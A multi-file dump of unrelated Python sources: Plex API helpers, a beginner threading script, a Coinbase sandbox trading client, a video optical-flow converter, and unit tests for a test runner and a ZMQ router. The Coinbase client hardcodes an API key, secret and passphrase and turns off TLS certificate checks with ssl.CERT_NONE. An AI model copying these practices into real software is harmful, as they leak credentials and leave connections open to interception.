# -*- coding: utf-8 -*- import base64 import functools import logging import os import re import time import warnings import zipfile from datetime import datetime from getpass import getpass from threading import Event, Thread from urllib.parse import quote from xml.etree import ElementTree import requests import xmltodict from plexapi.exceptions import BadRequest, NotFound try: from tqdm import tqdm except ImportError: tqdm = None log = logging.getLogger('plexapi') # Search Types - Plex uses these to filter specific media types when searching. # Library Types - Populated at runtime SEARCHTYPES = {'movie': 1, 'show': 2, 'season': 3, 'episode': 4, 'trailer': 5, 'comic': 6, 'person': 7, 'artist': 8, 'album': 9, 'track': 10, 'picture': 11, 'clip': 12, 'photo': 13, 'photoalbum': 14, 'playlist': 15, 'playlistFolder': 16, 'collection': 18, 'optimizedVersion': 42, 'userPlaylistItem': 1001} PLEXOBJECTS = {} class SecretsFilter(logging.Filter): """ Logging filter to hide secrets. """ def __init__(self, secrets=None): self.secrets = secrets or set() def add_secret(self, secret): if secret is not None: self.secrets.add(secret) return secret def filter(self, record): cleanargs = list(record.args) for i in range(len(cleanargs)): if isinstance(cleanargs[i], str): for secret in self.secrets: cleanargs[i] = cleanargs[i].replace(secret, '<hidden>') record.args = tuple(cleanargs) return True def registerPlexObject(cls): """ Registry of library types we may come across when parsing XML. This allows us to define a few helper functions to dynamically convery the XML into objects. See buildItem() below for an example. """ etype = getattr(cls, 'STREAMTYPE', getattr(cls, 'TAGTYPE', cls.TYPE)) ehash = '%s.%s' % (cls.TAG, etype) if etype else cls.TAG if ehash in PLEXOBJECTS: raise Exception('Ambiguous PlexObject definition %s(tag=%s, type=%s) with %s' % (cls.__name__, cls.TAG, etype, PLEXOBJECTS[ehash].__name__)) PLEXOBJECTS[ehash] = cls return cls def cast(func, value): """ Cast the specified value to the specified type (returned by func). Currently this only support str, int, float, bool. Should be extended if needed. Parameters: func (func): Calback function to used cast to type (int, bool, float). value (any): value to be cast and returned. """ if value is not None: if func == bool: if value in (1, True, "1", "true"): return True elif value in (0, False, "0", "false"): return False else: raise ValueError(value) elif func in (int, float): try: return func(value) except ValueError: return float('nan') return func(value) return value def joinArgs(args): """ Returns a query string (uses for HTTP URLs) where only the value is URL encoded. Example return value: '?genre=action&type=1337'. Parameters: args (dict): Arguments to include in query string. """ if not args: return '' arglist = [] for key in sorted(args, key=lambda x: x.lower()): value = str(args[key]) arglist.append('%s=%s' % (key, quote(value, safe=''))) return '?%s' % '&'.join(arglist) def lowerFirst(s): return s[0].lower() + s[1:] def rget(obj, attrstr, default=None, delim='.'): # pragma: no cover """ Returns the value at the specified attrstr location within a nexted tree of dicts, lists, tuples, functions, classes, etc. The lookup is done recursively for each key in attrstr (split by by the delimiter) This function is heavily influenced by the lookups used in Django templates. Parameters: obj (any): Object to start the lookup in (dict, obj, list, tuple, etc). attrstr (str): String to lookup (ex: 'foo.bar.baz.value') default (any): Default value to return if not found. delim (str): Delimiter separating keys in attrstr. """ try: parts = attrstr.split(delim, 1) attr = parts[0] attrstr = parts[1] if len(parts) == 2 else None if isinstance(obj, dict): value = obj[attr] elif isinstance(obj, list): value = obj[int(attr)] elif isinstance(obj, tuple): value = obj[int(attr)] elif isinstance(obj, object): value = getattr(obj, attr) if attrstr: return rget(value, attrstr, default, delim) return value except: # noqa: E722 return default def searchType(libtype): """ Returns the integer value of the library string type. Parameters: libtype (str): LibType to lookup (movie, show, season, episode, artist, album, track, collection) Raises: :exc:`~plexapi.exceptions.NotFound`: Unknown libtype """ libtype = str(libtype) if libtype in [str(v) for v in SEARCHTYPES.values()]: return libtype if SEARCHTYPES.get(libtype) is not None: return SEARCHTYPES[libtype] raise NotFound('Unknown libtype: %s' % libtype) def threaded(callback, listargs): """ Returns the result of <callback> for each set of `*args` in listargs. Each call to <callback> is called concurrently in their own separate threads. Parameters: callback (func): Callback function to apply to each set of `*args`. listargs (list): List of lists; `*args` to pass each thread. """ threads, results = [], [] job_is_done_event = Event() for args in listargs: args += [results, len(results)] results.append(None) threads.append(Thread(target=callback, args=args, kwargs=dict(job_is_done_event=job_is_done_event))) threads[-1].setDaemon(True) threads[-1].start() while not job_is_done_event.is_set(): if all(not t.is_alive() for t in threads): break time.sleep(0.05) return [r for r in results if r is not None] def toDatetime(value, format=None): """ Returns a datetime object from the specified value. Parameters: value (str): value to return as a datetime format (str): Format to pass strftime (optional; if value is a str). """ if value and value is not None: if format: try: value = datetime.strptime(value, format) except ValueError: log.info('Failed to parse %s to datetime, defaulting to None', value) return None else: # https://bugs.python.org/issue30684 # And platform support for before epoch seems to be flaky. # TODO check for others errors too. if int(value) <= 0: value = 86400 value = datetime.fromtimestamp(int(value)) return value def datetimeToEpoch(value: datetime): """ Returns the epoch timestamp for the specified timestamp. Parameters: value (datetime): datetime to return as a timestamp """ return int(value.timestamp()) def millisecondToHumanstr(milliseconds): """ Returns human readable time duration from milliseconds. HH:MM:SS:MMMM Parameters: milliseconds (str,int): time duration in milliseconds. """ milliseconds = int(milliseconds) r = datetime.utcfromtimestamp(milliseconds / 1000) f = r.strftime("%H:%M:%S.%f") return f[:-2] def toList(value, itemcast=None, delim=','): """ Returns a list of strings from the specified value. Parameters: value (str): comma delimited string to convert to list. itemcast (func): Function to cast each list item to (default str). delim (str): string delimiter (optional; default ','). """ value = value or '' itemcast = itemcast or str return [itemcast(item) for item in value.split(delim) if item != ''] def downloadSessionImages(server, filename=None, height=150, width=150, opacity=100, saturation=100): # pragma: no cover """ Helper to download a bif image or thumb.url from plex.server.sessions. Parameters: filename (str): default to None, height (int): Height of the image. width (int): width of the image. opacity (int): Opacity of the resulting image (possibly deprecated). saturation (int): Saturating of the resulting image. Returns: {'hellowlol': {'filepath': '<filepath>', 'url': 'http://<url>'}, {'<username>': {filepath, url}}, ... """ info = {} for media in server.sessions(): url = None for part in media.iterParts(): if media.thumb: url = media.thumb if part.indexes: # always use bif images if available. url = '/library/parts/%s/indexes/%s/%s' % (part.id, part.indexes.lower(), media.viewOffset) if url: if filename is None: prettyname = media._prettyfilename() filename = 'session_transcode_%s_%s_%s' % (media.usernames[0], prettyname, int(time.time())) url = server.transcodeImage(url, height, width, opacity, saturation) filepath = download(url, filename=filename) info['username'] = {'filepath': filepath, 'url': url} return info def download(url, token, filename=None, savepath=None, session=None, chunksize=4024, unpack=False, mocked=False, showstatus=False): """ Helper to download a thumb, videofile or other media item. Returns the local path to the downloaded file. Parameters: url (str): URL where the content be reached. token (str): Plex auth token to include in headers. filename (str): Filename of the downloaded file, default None. savepath (str): Defaults to current working dir. chunksize (int): What chunksize read/write at the time. mocked (bool): Helper to do evertything except write the file. unpack (bool): Unpack the zip file. showstatus(bool): Display a progressbar. Example: >>> download(a_episode.getStreamURL(), a_episode.location) /path/to/file """ # fetch the data to be saved session = session or requests.Session() headers = {'X-Plex-Token': token} response = session.get(url, headers=headers, stream=True) # make sure the savepath directory exists savepath = savepath or os.getcwd() os.makedirs(savepath, exist_ok=True) # try getting filename from header if not specified in arguments (used for logs, db) if not filename and response.headers.get('Content-Disposition'): filename = re.findall(r'filename=\"(.+)\"', response.headers.get('Content-Disposition')) filename = filename[0] if filename[0] else None filename = os.path.basename(filename) fullpath = os.path.join(savepath, filename) # append file.ext from content-type if not already there extension = os.path.splitext(fullpath)[-1] if not extension: contenttype = response.headers.get('content-type') if contenttype and 'image' in contenttype: fullpath += contenttype.split('/')[1] # check this is a mocked download (testing) if mocked: log.debug('Mocked download %s', fullpath) return fullpath # save the file to disk log.info('Downloading: %s', fullpath) if showstatus and tqdm: # pragma: no cover total = int(response.headers.get('content-length', 0)) bar = tqdm(unit='B', unit_scale=True, total=total, desc=filename) with open(fullpath, 'wb') as handle: for chunk in response.iter_content(chunk_size=chunksize): handle.write(chunk) if showstatus and tqdm: bar.update(len(chunk)) if showstatus and tqdm: # pragma: no cover bar.close() # check we want to unzip the contents if fullpath.endswith('zip') and unpack: with zipfile.ZipFile(fullpath, 'r') as handle: handle.extractall(savepath) return fullpath def tag_singular(tag): if tag == 'countries': return 'country' elif tag == 'similar': return 'similar' else: return tag[:-1] def tag_plural(tag): if tag == 'country': return 'countries' elif tag == 'similar': return 'similar' else: return tag + 's' def tag_helper(tag, items, locked=True, remove=False): """ Simple tag helper for editing a object. """ if not isinstance(items, list): items = [items] data = {} if not remove: for i, item in enumerate(items): tagname = '%s[%s].tag.tag' % (tag, i) data[tagname] = item if remove: tagname = '%s[].tag.tag-' % tag data[tagname] = ','.join(items) data['%s.locked' % tag] = 1 if locked else 0 return data def getMyPlexAccount(opts=None): # pragma: no cover """ Helper function tries to get a MyPlex Account instance by checking the the following locations for a username and password. This is useful to create user-friendly command line tools. 1. command-line options (opts). 2. environment variables and config.ini 3. Prompt on the command line. """ from plexapi import CONFIG from plexapi.myplex import MyPlexAccount # 1. Check command-line options if opts and opts.username and opts.password: print('Authenticating with Plex.tv as %s..' % opts.username) return MyPlexAccount(opts.username, opts.password) # 2. Check Plexconfig (environment variables and config.ini) config_username = CONFIG.get('auth.myplex_username') config_password = CONFIG.get('auth.myplex_password') if config_username and config_password: print('Authenticating with Plex.tv as %s..' % config_username) return MyPlexAccount(config_username, config_password) config_token = CONFIG.get('auth.server_token') if config_token: print('Authenticating with Plex.tv with token') return MyPlexAccount(token=config_token) # 3. Prompt for username and password on the command line username = input('What is your plex.tv username: ') password = getpass('What is your plex.tv password: ') print('Authenticating with Plex.tv as %s..' % username) return MyPlexAccount(username, password) def createMyPlexDevice(headers, account, timeout=10): # pragma: no cover """ Helper function to create a new MyPlexDevice. Parameters: headers (dict): Provide the X-Plex- headers for the new device. A unique X-Plex-Client-Identifier is required. account (MyPlexAccount): The Plex account to create the device on. timeout (int): Timeout in seconds to wait for device login. """ from plexapi.myplex import MyPlexPinLogin if 'X-Plex-Client-Identifier' not in headers: raise BadRequest('The X-Plex-Client-Identifier header is required.') clientIdentifier = headers['X-Plex-Client-Identifier'] pinlogin = MyPlexPinLogin(headers=headers) pinlogin.run(timeout=timeout) account.link(pinlogin.pin) pinlogin.waitForLogin() return account.device(clientId=clientIdentifier) def choose(msg, items, attr): # pragma: no cover """ Command line helper to display a list of choices, asking the user to choose one of the options. """ # Return the first item if there is only one choice if len(items) == 1: return items[0] # Print all choices to the command line print() for index, i in enumerate(items): name = attr(i) if callable(attr) else getattr(i, attr) print(' %s: %s' % (index, name)) print() # Request choice from the user while True: try: inp = input('%s: ' % msg) if any(s in inp for s in (':', '::', '-')): idx = slice(*map(lambda x: int(x.strip()) if x.strip() else None, inp.split(':'))) return items[idx] else: return items[int(inp)] except (ValueError, IndexError): pass def getAgentIdentifier(section, agent): """ Return the full agent identifier from a short identifier, name, or confirm full identifier. """ agents = [] for ag in section.agents(): identifiers = [ag.identifier, ag.shortIdentifier, ag.name] if agent in identifiers: return ag.identifier agents += identifiers raise NotFound('Couldnt find "%s" in agents list (%s)' % (agent, ', '.join(agents))) def base64str(text): return base64.b64encode(text.encode('utf-8')).decode('utf-8') def deprecated(message, stacklevel=2): def decorator(func): """This is a decorator which can be used to mark functions as deprecated. It will result in a warning being emitted when the function is used.""" @functools.wraps(func) def wrapper(*args, **kwargs): msg = 'Call to deprecated function or method "%s", %s.' % (func.__name__, message) warnings.warn(msg, category=DeprecationWarning, stacklevel=stacklevel) log.warning(msg) return func(*args, **kwargs) return wrapper return decorator def parseXml(xml_data_string): xml_data_string = xml_data_string.replace('\n', '').encode('utf8') return ElementTree.XML(xml_data_string) def parseXmlToDict(xml_data_string): xml_data_string = xml_data_string.encode('utf8') return xmltodict.parse(xml_data_string)
test.py
''' 环境配置 IDE vscode pycharm 代码仓库 github gitee python 官方文档中文 https://docs.python.org/zh-cn/3.8/ 程序的基本编写方法 IPO I:Input 输入,程序的输入,数据机构。 P:Process 处理 程序的主要逻辑,算法。 O:Output 输出,程序的输出。 print([n*n for n in range(1,9)]) 列表推导 (n*n for n in range(9)) 生成器表达式 函数的复用 ''' # def getadd(): # return # def add(): # pass # add() # def fact(n): # if n==1: # return 1 # return n * fact(n - 1) # print(fact(2)) # 斐波那契数 a, b = 0, 1 while b < 20: print(b) a, b = b, a+b import threading import time def pp(key): while True: print(key) time.sleep(1) t1 = threading.Thread(target=pp,args=("haha",)) t1.start() t2 = threading.Thread(target=pp,args=("lailai",)) t2.start() # a,b = map(int,input("请输入两个值','号分隔:").split(',')) # print(a+b) # class Person(): # def __init__(self,name,age): # self.name = name # self.age = age # def say(self): # print("我叫{},我已经{}".format(self.name,self.age)) # p = Person("张三",18) # p.say()
vncoinbase.py
# encoding: UTF-8 from __future__ import print_function import hashlib import hmac import base64 import json import ssl import traceback from queue import Queue, Empty from multiprocessing.dummy import Pool from time import time from urlparse import urlparse from copy import copy from urllib import urlencode from threading import Thread from six.moves import input import requests import websocket REST_HOST = 'https://api-public.sandbox.pro.coinbase.com' WEBSOCKET_HOST = 'wss://ws-feed-public.sandbox.pro.coinbase.com' ######################################################################## class CoinbaseRestApi(object): """REST API""" #---------------------------------------------------------------------- def __init__(self): """Constructor""" self.apiKey = '' self.secretKey = '' self.passphrase = '' self.hmacKey = '' self.active = False self.reqid = 0 self.queue = Queue() self.pool = None self.sessionDict = {} # 会话对象字典 self.header = { 'Content-Type': 'Application/JSON' } #---------------------------------------------------------------------- def init(self, apiKey, secretKey, passphrase): """初始化""" self.apiKey = apiKey self.secretKey = secretKey self.passphrase = passphrase self.hmacKey = base64.b64decode(self.secretKey) #---------------------------------------------------------------------- def start(self, n=10): """启动""" if self.active: return self.active = True self.pool = Pool(n) self.pool.map_async(self.run, range(n)) #---------------------------------------------------------------------- def close(self): """关闭""" self.active = False if self.pool: self.pool.close() self.pool.join() #---------------------------------------------------------------------- def addReq(self, method, path, callback, params=None, postdict=None): """添加请求""" self.reqid += 1 req = (method, path, callback, params, postdict, self.reqid) self.queue.put(req) return self.reqid #---------------------------------------------------------------------- def processReq(self, req, i): """处理请求""" method, path, callback, params, postdict, reqid = req url = REST_HOST + path timestamp = str(time()) if postdict: rq = requests.Request(url=url, data=json.dumps(postdict)) else: rq = requests.Request(url=url) p = rq.prepare() header = copy(self.header) header['CB-ACCESS-KEY'] = self.apiKey header['CB-ACCESS-PASSPHRASE'] = self.passphrase header['CB-ACCESS-TIMESTAMP'] = timestamp header['CB-ACCESS-SIGN'] = self.generateSignature(method, path, timestamp, params, body=p.body) # 使用长连接的session,比短连接的耗时缩短80% session = self.sessionDict[i] if postdict: resp = session.request(method, url, headers=header, params=params, data=json.dumps(postdict)) else: resp = session.request(method, url, headers=header, params=params) #resp = requests.request(method, url, headers=header, params=params, data=postdict) code = resp.status_code d = resp.json() if code == 200: callback(d, reqid) else: self.onError(code, d) #---------------------------------------------------------------------- def run(self, i): """连续运行""" self.sessionDict[i] = requests.Session() while self.active: try: req = self.queue.get(timeout=1) self.processReq(req, i) except Empty: pass #---------------------------------------------------------------------- def generateSignature(self, method, path, timestamp, params=None, body=None): """生成签名""" # 对params在HTTP报文路径中,以请求字段方式序列化 if params: query = urlencode(sorted(params.items())) path = path + '?' + query if body is None: body = '' msg = timestamp + method + path + body msg = msg.encode('ascii') signature = hmac.new(self.hmacKey, msg, hashlib.sha256) signature64 = base64.b64encode(signature.digest()).decode('utf-8') return signature64 #---------------------------------------------------------------------- def onError(self, code, error): """错误回调""" print('on error') print(code, error) #---------------------------------------------------------------------- def onData(self, data, reqid): """通用回调""" print('on data') print(data, reqid) ######################################################################## class CoinbaseWebsocketApi(object): """Websocket API""" #---------------------------------------------------------------------- def __init__(self): """Constructor""" self.ws = None self.thread = None self.active = False #---------------------------------------------------------------------- def start(self): """启动""" self.ws = websocket.create_connection(WEBSOCKET_HOST, sslopt={'cert_reqs': ssl.CERT_NONE}) self.active = True self.thread = Thread(target=self.run) self.thread.start() self.onConnect() #---------------------------------------------------------------------- def reconnect(self): """重连""" self.ws = websocket.create_connection(WEBSOCKET_HOST, sslopt={'cert_reqs': ssl.CERT_NONE}) self.onConnect() #---------------------------------------------------------------------- def run(self): """运行""" while self.active: try: stream = self.ws.recv() data = json.loads(stream) self.onData(data) except: msg = traceback.format_exc() self.onError(msg) self.reconnect() #---------------------------------------------------------------------- def close(self): """关闭""" self.active = False if self.thread: self.thread.join() #---------------------------------------------------------------------- def onConnect(self): """连接回调""" print('connected') #---------------------------------------------------------------------- def onData(self, data): """数据回调""" print('-' * 30) l = data.keys() l.sort() for k in l: print(k, data[k]) #---------------------------------------------------------------------- def onError(self, msg): """错误回调""" print(msg) #---------------------------------------------------------------------- def sendReq(self, req): """发出请求""" self.ws.send(json.dumps(req)) if __name__ == '__main__': API_KEY = '2982e190ce2785b862c36f7748ec6864' API_SECRET = 'sUXjm5HZKA+Dru9+dtekGF6DlfQnHvbQCs+DaTuOTSBFR+vvMIiWkpPTwHcfZwNapSRpFhjNerrb111hojazIA==' PASSPHRASE = 'vnpytesting' # REST测试 rest = CoinbaseRestApi() rest.init(API_KEY, API_SECRET, PASSPHRASE) rest.start(1) #data = { #'symbol': 'XBTUSD' #} #rest.addReq('POST', '/position/isolate', rest.onData, postdict=data) rest.addReq('GET', '/orders', rest.onData, {'status': 'all'}) ## WEBSOCKET测试 #ws = CoinbaseWebsocketApi() #ws.start() #req = { #'type': 'subscribe', #"product_ids": [ #"ETH-USD" #], #"channels": ['level2'] #} #ws.sendReq(req) #expires = int(time()) #method = 'GET' #path = '/realtime' #msg = method + path + str(expires) #signature = hmac.new(API_SECRET, msg, digestmod=hashlib.sha256).hexdigest() #req = { #'op': 'authKey', #'args': [API_KEY, expires, signature] #} #ws.sendReq(req) #req = {"op": "subscribe", "args": ['order', 'execution', 'position', 'margin']} #req = {"op": "subscribe", "args": ['instrument']} #ws.sendReq(req) input()
flow2npy.py
import cv2 import os import numpy as np import json import glob import multiprocessing as mp import argparse parser = argparse.ArgumentParser() parser.add_argument('thread_num', type=int) parser.add_argument('--video_info_path', type=str, default='datasets/activitynet/annotations/video_info_train_val.json') parser.add_argument('--flow_frame_path', type=str, default='datasets/activitynet/flow/frame_train_val_112') parser.add_argument('--flow_npy_path', type=str, default='datasets/activitynet/flow/train_val_npy_112') parser.add_argument('--max_frame_num', type=int, default=768) args = parser.parse_args() thread_num = args.thread_num video_info_path = args.video_info_path flow_frame_path = args.flow_frame_path flow_npy_path = args.flow_npy_path max_frame_num = args.max_frame_num def load_json(file): """ :param file: json file path :return: data of json """ with open(file) as json_file: data = json.load(json_file) return data if not os.path.exists(flow_npy_path): os.makedirs(flow_npy_path) json_data = load_json(video_info_path) video_list = sorted(list(json_data.keys())) def sub_processor(pid, video_list): for video_name in video_list: tmp = [] print(video_name) flow_x_files = sorted(glob.glob(os.path.join(flow_frame_path, video_name, 'flow_x_*.jpg'))) flow_y_files = sorted(glob.glob(os.path.join(flow_frame_path, video_name, 'flow_y_*.jpg'))) assert len(flow_x_files) > 0 assert len(flow_x_files) == len(flow_y_files) frame_num = json_data[video_name]['frame_num'] fps = json_data[video_name]['fps'] output_file = os.path.join(flow_npy_path, video_name + '.npy') while len(flow_x_files) < frame_num: flow_x_files.append(flow_x_files[-1]) flow_y_files.append(flow_y_files[-1]) for flow_x, flow_y in zip(flow_x_files, flow_y_files): flow_x = cv2.imread(flow_x)[:, :, 0] flow_y = cv2.imread(flow_y)[:, :, 0] img = np.stack([flow_x, flow_y], -1) tmp.append(img) tmp = np.stack(tmp, 0) if max_frame_num is not None: tmp = tmp[:max_frame_num] np.save(output_file, tmp) processes = [] video_num = len(video_list) per_process_video_num = video_num // thread_num for i in range(thread_num): if i == thread_num - 1: sub_files = video_list[i * per_process_video_num:] else: sub_files = video_list[i * per_process_video_num: (i + 1) * per_process_video_num] p = mp.Process(target=sub_processor, args=(i, sub_files)) p.start() processes.append(p) for p in processes: p.join()
test_exceptions.py
import os import re import threading import pytest import pexpect.fdpexpect from trunner.config import ALL_TARGETS from trunner.testcase import TestCase # Pytest tries to collect TestCase as a class to test # Mark TestCase as not testable TestCase.__test__ = False class TestPexpectException: """ Tests check if PyExpect exceptions are handled properly """ FIFO = "./test_exceptions.fifo" @pytest.fixture def testcase(self): return TestCase( name='xyz', target=ALL_TARGETS[0], timeout=3, exec_cmd=['xyz'] ) @pytest.fixture(scope="class") def fifo(self): os.mkfifo(self.FIFO) yield os.unlink(self.FIFO) @staticmethod def fake_harness(proc): proc.expect_exact("Hello ") proc.expect_exact("world!") def test_timeout(self, fifo, testcase): def writer(lock): with open(self.FIFO, 'w') as f: f.write("Hello universe!") f.flush() # We've written what we wanted to # Keep open fifo to not trigger EOF, hanging on a lock lock.acquire() lock = threading.Lock() lock.acquire() thread = threading.Thread(target=writer, args=(lock,)) thread.start() fifo_r = open(self.FIFO, 'r') proc = pexpect.fdpexpect.fdspawn(fifo_r, encoding='utf-8', timeout=1) testcase.harness = TestPexpectException.fake_harness testcase.handle(proc, psh=False) # Release lock for writer to close fifo lock.release() thread.join() fifo_r.close() assert testcase.failed() assert "EXCEPTION TIMEOUT" in testcase.exception # We should have read word "Hello " # Check if read/expect buffers content are mentioned in the exception assert "Hello " not in testcase.exception assert "world!" in testcase.exception assert "universe!" in testcase.exception def test_eof(self, fifo, testcase): def writer(): with open(self.FIFO, 'w') as f: f.write("Hello universe!") thread = threading.Thread(target=writer) thread.start() fifo_r = open(self.FIFO, 'r') # Wait for end of write to get EOF thread.join() proc = pexpect.fdpexpect.fdspawn(fifo_r, encoding='utf-8') testcase.harness = TestPexpectException.fake_harness testcase.handle(proc, psh=False) fifo_r.close() assert testcase.failed() assert "EXCEPTION EOF" in testcase.exception # We should have read word "Hello " # Check if read/expect buffers content are mentioned in the exception assert "Hello " not in testcase.exception assert "world!" in testcase.exception assert "universe!" in testcase.exception class TestExceptionHandler: @staticmethod def assert_exc_msg(testcase, function_names): for func in function_names: pattern = rf'File "{__file__}", line \d+, in {func}' assert re.search(pattern, testcase.exception), \ f"pattern '{pattern}' not found in exception msg" @staticmethod def fake_harness(function): def harness(p): function() return harness @pytest.fixture def testcase(self): return TestCase( name='xyz', target=ALL_TARGETS[0], timeout=3, exec_cmd=['xyz'] ) def test_assert(self, testcase): def foo(): assert False testcase.harness = TestExceptionHandler.fake_harness(foo) testcase.handle(proc=None, psh=False) TestExceptionHandler.assert_exc_msg(testcase, ('harness', 'foo')) def test_assert_msg(self, testcase): def foo(): assert False, "boo has failed!" testcase.harness = TestExceptionHandler.fake_harness(foo) testcase.handle(proc=None, psh=False) TestExceptionHandler.assert_exc_msg(testcase, ('harness', 'foo')) assert "boo has failed!" in testcase.exception def test_exception(self, testcase): def foo(): raise Exception("boo has failed!") testcase.harness = TestExceptionHandler.fake_harness(foo) testcase.handle(proc=None, psh=False) TestExceptionHandler.assert_exc_msg(testcase, ('harness', 'foo')) assert 'Exception: boo has failed!' in testcase.exception
test_zmqrouter.py
import ast import datetime import logging import os import pathlib import shutil import tempfile import time import unittest from unittest.mock import MagicMock from threading import Thread import osgar.logger from osgar.zmqrouter import _Router, _Bus, record class Noop: def __init__(self, config, bus): self.bus = bus self.bus.register("output") def start(self): pass def join(self, timeout=None): pass class Publisher: def __init__(self, config, bus): self.bus = bus self.output_name = config["output"].split(":")[0] # drop any possible suffix self.bus.register(config["output"]) def start(self): self.thread = Thread(target=self.run) self.thread.start() def join(self, timeout=None): self.thread.join(timeout) def run(self): count = 10 for i in range(count): dt = self.bus.publish(self.output_name, i) time.sleep(0.01) #print(" published", i, dt) class Sleeper: def __init__(self, config, bus): self.bus = bus self.bus.register() def start(self): self.bus.sleep(0.001) def join(self, timeout=None): pass class Listener: def __init__(self, config, bus): self.bus = bus self.bus.register() def start(self): self.thread = Thread(target=self.run) self.thread.start() def run(self): while True: self.bus.listen() def join(self, timeout=None): self.thread.join(timeout) class PublisherListener: def __init__(self, config, bus): self.bus = bus self.output_name = config["output"].split(":")[0] # drop any possible suffix self.bus.register(config["output"]) def start(self): self.thread = Thread(target=self.run) self.thread.start() def join(self, timeout=None): self.thread.join(timeout) def run(self): count = 10 for i in range(count): dt, channel, value = self.bus.listen() assert value == i time.sleep(0.15) dt = self.bus.publish(self.output_name, i) #print(self.bus.name, dt, channel, value) class ThreadedPublisher: def __init__(self, config, bus): self.bus = bus self.bus.register('raw') self.input_thread = None self.output_thread = None def start(self): self.input_thread = Thread(target=self.run_input) self.output_thread = Thread(target=self.run_output) self.input_thread.start() self.output_thread.start() def join(self, timeout=None): self.input_thread.join(timeout) self.output_thread.join(timeout) def run_input(self): for i in range(10): self.bus.publish('raw', b'data from outside') if not self.bus.is_alive(): return def run_output(self): while True: dt, channel, data = self.bus.listen() class NoQuit: def __init__(self, config, bus): self.bus = bus self.bus.register() def start(self): self.thread = Thread(target=self.run) self.thread.start() def join(self, timeout=None): self.thread.join(timeout) def run(self): while True: time.sleep(1) class Test(unittest.TestCase): def setUp(self): self.tempdir = pathlib.Path(tempfile.mkdtemp(dir=pathlib.Path.cwd())) os.environ['OSGAR_LOGS'] = str(self.tempdir) def tearDown(self): shutil.rmtree(self.tempdir) def test_threads(self): main() def test_noop(self): config = { 'version': 2, 'robot': { 'modules': { "noop": { "driver": "osgar.test_zmqrouter:Noop", "init": {} }, }, 'links':[] } } record(config, log_filename='noop.log') def test_publisher_single(self): config = { 'version': 2, 'robot': { 'modules': {}, 'links': [] } } config['robot']['modules']['publisher'] = { "driver": "osgar.test_zmqrouter:Publisher", "init": { "output": "count"} } record(config, log_filename='publisher.log') with osgar.logger.LogReader(self.tempdir/"publisher.log", only_stream_id=1) as log: last_dt = datetime.timedelta() count = 0 for dt, channel, data in log: self.assertGreater(dt, last_dt) self.assertEqual(int.from_bytes(data, 'little'), count) last_dt = dt count += 1 def test_publisher_multi(self): config = { 'version': 2, 'robot': { 'modules': {}, 'links': [] } } for i in range(3): config['robot']['modules'][f'publisher{i}'] = { "driver": "osgar.test_zmqrouter:Publisher", "init": { "output": f"count{i}" } } record(config, log_filename='publisher.log') def test_publisher_threaded(self): config = { 'version': 2, 'robot': { 'modules': {}, 'links': [] } } config['robot']['modules']['publisher-threaded'] = { "driver": "osgar.test_zmqrouter:ThreadedPublisher", } record(config, log_filename='publisher-threaded.log', duration_sec=3) with osgar.logger.LogReader(self.tempdir/"publisher-threaded.log", only_stream_id=1) as log: count = sum(1 for _ in log) self.assertEqual(count, 10) def test_compress(self): config = { 'version': 2, 'robot': { 'modules': {}, 'links': [] } } config['robot']['modules']['publisher'] = { "driver": "osgar.test_zmqrouter:Publisher", "init": { "output": "count:gz"} } record(config, log_filename='compressed-publisher.log') def test_null(self): config = { 'version': 2, 'robot': { 'modules': {}, 'links': [] } } config['robot']['modules']['publisher'] = { "driver": "osgar.test_zmqrouter:Publisher", "init": { "output": "count:null"} } record(config, log_filename='null-publisher.log') def test_delays(self): config = { 'version': 2, 'robot': { 'modules': {}, 'links': [] } } config['robot']['modules']['publisher-listener'] = { "driver": "osgar.test_zmqrouter:PublisherListener", "init": { "output": "count"} } config['robot']['modules']['publisher'] = { "driver": "osgar.test_zmqrouter:Publisher", "init": { "output": "count"} } config['robot']['links'] = [ ['publisher.count', 'publisher-listener.count'], ] record(config, log_filename='delays.log') with osgar.logger.LogReader(self.tempdir/"delays.log", only_stream_id=0) as log: count = 0 for dt, channel, data in log: data = ast.literal_eval(str(data, 'ascii')) if hasattr(data, 'keys') and 'delay' in data.keys(): count += 1 self.assertGreater(data['delay'], 0.15) self.assertEqual(count, 10) def test_sleep(self): config = { 'version': 2, 'robot': { 'modules': {}, 'links': [] } } config['robot']['modules']['sleeper'] = { "driver": "osgar.test_zmqrouter:Sleeper", } record(config, log_filename='sleeps.log') def test_duration(self): config = { 'version': 2, 'robot': { 'modules': {}, 'links': [] } } config['robot']['modules']['listener'] = { "driver": "osgar.test_zmqrouter:Listener", } record(config, log_filename='duration.log', duration_sec=0.3) @unittest.skip("until we figure out what to do with the timeout") def test_fail_to_register(self): config = { 'version': 2, 'robot': { 'modules': {}, 'links': [] } } config['robot']['modules']['publisher'] = { "driver": "osgar.test_zmqrouter:Nonexisting", "init": { "output": "count:null"} } record(config, log_filename='null-publisher.log') def test_fail_to_quit(self): config = { 'version': 2, 'robot': { 'modules': {}, 'links': [] } } config['robot']['modules']['publisher'] = { "driver": "osgar.test_zmqrouter:Publisher", "init": { "output": "count:null"} } config['robot']['modules']['noquit'] = { "driver": "osgar.test_zmqrouter:NoQuit", } record(config, log_filename='noquit.log') def test_fail_to_quit_duration(self): config = { 'version': 2, 'robot': { 'modules': {}, 'links': [] } } config['robot']['modules']['noquit'] = { "driver": "osgar.test_zmqrouter:NoQuit", } record(config, log_filename='duration-no-quit.log', duration_sec=0.3) def main(): nodes = ["listener0", "listener1", "publisher"] links = [ ["publisher.count", "listener0.count"], ["publisher.count", "listener1.count"], ] logger = MagicMock() logger.start_time = datetime.datetime.now(datetime.timezone.utc) with _Router(logger) as router: Thread(target=node_listener, args=("listener0",)).start() Thread(target=node_listener, args=("listener1",)).start() Thread(target=node_publisher, args=("publisher", "count", 10)).start() router.register_nodes(nodes) for link_from, link_to in links: router.connect(link_from, link_to) router.run() #print(logger.mock_calls) def node_listener(name): bus = _Bus(name) bus.register() try: expected = 0 while True: dt, channel, data = bus.listen() assert data == expected expected += 1 #print(f" {name}", dt, channel, data) except SystemExit: bus.request_stop() def node_publisher(name, channel, count): bus = _Bus(name) bus.register(channel) for i in range(count): dt = bus.publish(channel, i) #print(" published", i, dt) bus.request_stop() if __name__ == "__main__": import sys logging.basicConfig( stream=sys.stdout, level=logging.DEBUG, format='%(asctime)s %(name)-16s %(levelname)-8s %(message)s', ) unittest.main()
workdlg.py
